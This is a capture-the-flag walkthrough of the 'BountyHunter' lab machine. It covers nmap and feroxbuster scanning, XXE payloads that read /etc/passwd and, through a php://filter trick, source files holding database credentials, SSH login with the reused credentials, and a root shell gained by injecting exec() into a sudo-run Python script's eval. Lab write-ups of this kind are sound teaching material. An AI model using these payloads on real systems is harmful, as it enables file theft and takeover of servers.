Overview
Bountyhunter is a relatively easy Linux based box, while at the same time can be tricky if you don't pay attention.
This box shows that not only do you need the tools, but you need to know how to operate them. I know you hear the terms think outside the box quite often, but this is a perfect example where you are required to do so.
On this box, you will need to be able to read basic code, also, you will need to do that in both PHP and Python languages. I know that a lot of people get turned down when it comes to writing code or even reading it, but rest assured, this box does not need you to have advanced coding skills. As long as you can read code and be able to make changes to code you will find online, you will be able to succeed and eventually hack the box.
Skills
-
HTTP Requests
Basic knowledge of HTTP request
Knowledge on how to work with proxy tools such as Burp, ZAP and Foxy
In our case we will be using ZAP in order to change things a bit
-
Base64 knowledge
Be comfortable recognising base64
Encode/Decode base64 strings/files
-
XML External Entity (XXE)
Know what is XML
How to execute an XXE payload
-
Basic PHP knowledge
At the very least be able to read basic PHP code
-
Python
Basic python skills
Able to read code
Write basic python or at least willing to try different commands you find in your searches
-
nmap
You should have your go to nmap commands, if you don't, you should consider having some.
It is a lot easier when you can copy/paste your long commands from a file
-
feroxbuster
This box isn't a case where to you need to fuzz the system heavily, since you really just have to use the application to find the vulnerability
-
ZAP
Let's keep things interesting by using ZAP instead of what everyone else uses
There isn't much ZAP cannot do that Burp can, and it is free.
-
Foxy proxy (optional)
You don't really need this one since there's embedded browsers in both ZAP and Burp
However, I find this a lot easier with it
-
Cyberchef
This is a swiss army knife like tools
In this case we will use it for its encoding capabilities
Key feature for this task, chain encoding techniques
Enumeration
Here we have a perfect example why you need to enumerate more than just letting the tools do the job for you. You will not be able to find the vulnerability by running an automated tool and we will see why shortly.
You will need to get your hands dirty and press all the buttons and find out how this web application works.
Also take the habit of using your favorite proxy while you do that, it makes things a lot easier and sometimes, you may even miss where the action is taking place.
It was my case the first time I attempted this box, you will see that later.
Alright, Let's begin our enumeration with our good and trusted nmap.
I usually do 2 or 3 different scans, the really quick one allows me to scan the box and get working while the longer two runs.
Employing the initial quick scan on a live production system is not recommended due to its highly intrusive characteristics. This scan promptly opens a large number of ports on the target machines, carrying the inherent risk of triggering denial of service conditions.
When tackling a system, whether it's part of a CTF competition or for a client's specific requirements, it is essential to consider the scans carefully. As part of the walkthrough, I have included a more time-consuming version of my nmap scan that provides a detailed overview, ensuring a thorough assessment if needed.
In most cases, this initial swift scan is performed and concluded within just a few seconds.
sudo nmap -v -A -T4 --min-rate=5000 -oN nmap_quick.txt 10.10.11.100

The slower but safer version is as follows.
sudo nmap -v -A -T4 -oN nmap_quick.txt 10.10.11.100

Once the initial process is finalized, I typically divide my terminal and proceed with the full scan, which requires more time but meticulously examines every individual port.
sudo nmap -v -A -T4 -p- -oN nmap_full.txt 10.10.11.100

Now sometimes I run another one with exploits, i find those work best mostly when working on an older box. That one takes a longer time to run than the full scan and really isn't worth running on BountyHunter. I figure it takes some times before an exploit makes its way into nmap scripts, which is why I didn't run it this time.
sudo nmap -v -A -T4 --script=safe,vuln,exploit -p- -oN nmap_full_withexploits.txt 10.10.11.100
After we get our nmap results, we quickly realize there isn't much to see.

SSH and Web, that's what we have to play with today. That's it.
Let's start with the easiest attack vector, the web.
We'll use a tool called Ferric Oxide / feroxbuster just because I think it looks pretty. The first time I ran the scan, I was getting flooded with .htaccess and htpasswd giving out 403 errors. Just for the sake of this walkthrough and making things easier for you to see, I used the -C 403 option, this will ignore all the access forbidden messages, since this isn't how we attack this box, it is perfectly fine now, but we wouldn't normally do this.
In a regular pentest, I recommend you do the scan without this -C 403, otherwise pages that need authentication will not show up on your reports.
The command we will use is:
feroxbuster -u http://10.10.11.100 -x php,bak,txt,json,html,js -w /usr/share/wordlists/dirb/big.txt -C 403

After running Ferox Buster we don't see a whole lot that catches our attention, right away. Our scan didn't reveal too much but at least we know what the directory structure looks like.
At least, there's a few files that we may want to look at later on. The files portal.php, db.php, resources/all.js and resources/README.txt looks interesting.
From that we know the application is written in PHP, but other than that not much was revealed at this point.
Alright noob mistake alert!
Here, I would advise to turn on your proxy while you browse the website, I didn't and... well, I wasted lots of time. The first time I attacked this box, I started looking at the application WITHOUT my proxy on.
When you first load the site, you should be able to get right away that you will need Burp or some kind of proxying tool.

However, me being me, I chose to blindly ignore that clue and that cost me lots of time.
I would have been able to see what was happening if I had looked at the developer tools, but instead I was trying to inject one of the parameters of the log_submit.php page directly. Being a developer it is a hard one for me to miss, but I guess this is why people mention the hacker's mindset. You really need to put yourself in that mode.
Now, that’s out of the way, let’s look at README.txt that's in the resources folder, and see what's in there.

Note that sometimes you can get which CMS the system is running or even system administrator's notes, like it seems we have in this case.
Now if we browse to the db.php page that we found earlier to find that it comes up blank.

Most likely the database logic to be included within other pages.
Nothing displays on the page since the code doesn't echo/print anything.
Developers use those files in their code so they don't have to rewrite the database connection commands each time they use a file that needs the database.
And now let's just browse the application, visit every single link and click on every button you see, since our tools never revealed anything worthwhile.
Once we click on the portal, we get that portal.php page we found earlier, but we get this message.

Alright, let's go “here”, and see what's going on. A form, let's test if we can do SQL injections, we talked about this previously. I will spare you the boredom and repeat what I said before, it isn't vulnerable to SQL injections.

Let's try to enter something, as a normal user would. After all, this is how you will find how this application really works.

Note the CVE-2022-1, if you somehow had the means to submit bugs from the future, I am sure it would be worth at least one million.
Alright, that's cute and all but that's nothing, or is it?

This is why you should always have your proxy on while you run through the web site, you never know what it will catch.
If we check ZAP's tree view again quickly though, we notice that this guy showed up.

Once we do that we will notice that our application has been making it's post request to tracker_diRbPr00f314.php. Let's see what is happening under the hood.
We go to the bottom section in history and we double click on the POST request that was made to that page. We are greeted with this in the top right section.

Perfect, but what's going on here?
I wonder if that string means anything. It kinda looks like base64, but there's that %2B at the end and other places in the string. Maybe it is URL encoded. Let's test this theory. This is where we will need CyberChef's help.

Perfect, this looks a lot more like base64 now. Now if we decode that.

Alright, now that looks like something I've exploited before.
Now, I wonder if it is vulnerable to XML External Entity (XXE) attacks? I guess there is only one way to find out.
Let's set up CyberChef to be able to easily encode our payloads. We're going from XML to Base64 then we URL encode all the special characters. We end up with a recipe that looks like this.

From here we can try to see if we can pull the /etc/passwd file with this payload.
This is essentially the ' or 1=1 of the XXE attacks, we do however have to retain the same XML structure.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>test</reward>
</bugreport>
Perfect, that works fine!
From here, we have our only non-system account, development.
Let's see if we can run commands using expect with this payload.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<bugreport>
<title>&xxe;</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>test</reward>
</bugreport>
That didn’t work, I guess the Expect module isn't loaded.
We know that the default web folder on most Debian-based systems is /var/www/html and our target is Ubuntu, which is Debian-based.
We also know that README.txt is in the resources folder of our site, so let's try to pull that file using the same technique as with the /etc/passwd.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///var/www/html/resources/README.txt"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>test</reward>
</bugreport>
Awesome, that works!
Perfect, now we know where the webserver is pulling its files from.
Not that we need to use absolute paths but it's good to know.
Since we aren't sure of the directory structure on the system pulling any files from it could be an issue.
Let's try to start exfiltrating the files we found earlier.
We know the db.php wasn't giving us any output earlier so let's try to pull that file as well.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///var/www/html/db.php"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>test</reward>
</bugreport>
Well that didn't work as planned.
The issue here is that the server will process any PHP before it gives you the page.
That being said, there are more tricks we can attempt to pull these php files without the server processing them. Using php filters we can now base64 encode these php files without the server processing them.
Let's try this.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>test</reward>
</bugreport>
Now I can't wait to look at that db.php!
When we decode the value we get the database credentials.
Awesome! Now let’s recap.
Up until here we got 1 non-root account that we know of, I wonder if we can pull id_rsa from it since we know there's an SSH server.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/home/development/.ssh/id_rsa"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>test</reward>
</bugreport>
Nothing. Either there isn't one, or we don't have access to it.
I wonder if we could reuse these database credentials we found earlier.
By experience we know that no one ever does this right?
Right!? Well at least, we know it is best practice to do so, but unfortunately not everyone thinks that way.
We have an OpenSSH server, a username and a password; let's try if we can get a shell on that box with that.
Voila!
Now we can grab the user.txt in our home folder and see if we can root this system.
Privilege Escalation
Here, you could run tools like linpeas.sh or another privilege escalation vector enumeration tool, but I will normally opt for a bit of manual enumeration first.
I find that while it is a bit harder to do, you will learn a whole lot more from doing so.
Now, if we remember earlier in our README.txt, the admin left notes saying there was a script we could use.
I wonder where that script could be.
In our home folder we have a contract.txt file that states some permissions have been set up.
Natural instinct goes to 'sudo -l'.
Okay, that won't be as easy as doing 'sudo su -' it seems, it never really is.
We are allowed to call this python script, /opt/skytrain_inc/ticketValidator.py as root.
I wonder if we have access to that file to read the file. Which we do, perfect!
Now this is where knowing a bit of python will help you.
I am still in the process of learning python, so I am not as proficient as I am with other programming languages.
Because of that, this took me a bit more time than needed to gain root.
However, I still think this was a great learning experience and that you don't really need to know a whole lot about python to succeed here.
Let's look at this code.
Straight up we see 3 different functions, with the command main() being called at the very bottom of the script.
The main function is pretty straight forward. It asks for a filename, opens the file, evaluates it and then tells you whether your ticket is valid or not.
The first function being called after main is load_file. Here as long as our file ends in .md, we're good.
Okay, easy enough.
Now in the last function is where the magic happens.
It goes through the ticket line by line to make sure the content matches a certain format.
At line with the code "if i == 0" we're checking to make sure we're on the first line of the ticket and that the line is "# Skytrain Inc".
After this it checks if the next line starts with "## Ticket to " (don't forget the space after to!)
From there, the code just seems to check if it can find "__Ticket Code:__" on one of the lines below.
According to the logic of this ticketing system, this is where the code starts. It wants that next line to start with "**" and this is where it gets tricky.
With the condition "if int(ticketCode) % 7 == 4:", we are trying to see if anything before the first + sign has a modulus of 4 when divided by 7.
This is where we will be able to exploit this code, as it uses eval to perform the mathematics to make sure the result is then higher than 100.
This may have been a bit too much to take in if you aren't familiar with coding.
Rest assured, with time, this will come naturally to you after a while.
Let's see if we can make a valid ticket.
# Skytrain Inc
## Ticket to cyco
__Ticket Code:__
**11+ 100
That works!
Alright let's recap, we have user access.
We have figured out the whole ticketing system by reviewing the code with our basic python knowledge. Let's see if we can get a root shell.
We could go after the flag, but in a real world scenario you would want to get shell access and then plant a backdoor or something for future access.
Or maybe we would want to pivot from that box to another on the network which we wouldn't have access straight from the internet. But that is beyond this lab box.
Fortunately for us, eval can usually be exploited to get us a shell. Well, can we get one? Let's check this out.
# Skytrain Inc
## Ticket to cyco
__Ticket Code:__
**11+ 100 and exec('import os; os.system("/bin/bash");')
Rooted!
Well that's it, if you haven't done like I did while putting this walkthrough together and forgot to sudo.
I couldn't figure out why I was not having a root shell.
It works better with sudo, and from here we can grab the root.txt file we're done with.
Conclusion
Overall, I found this was a fun box.
Pretty basic stuff, while being “hidden” and tricky in some way, however nothing that matches our skills!
Back to top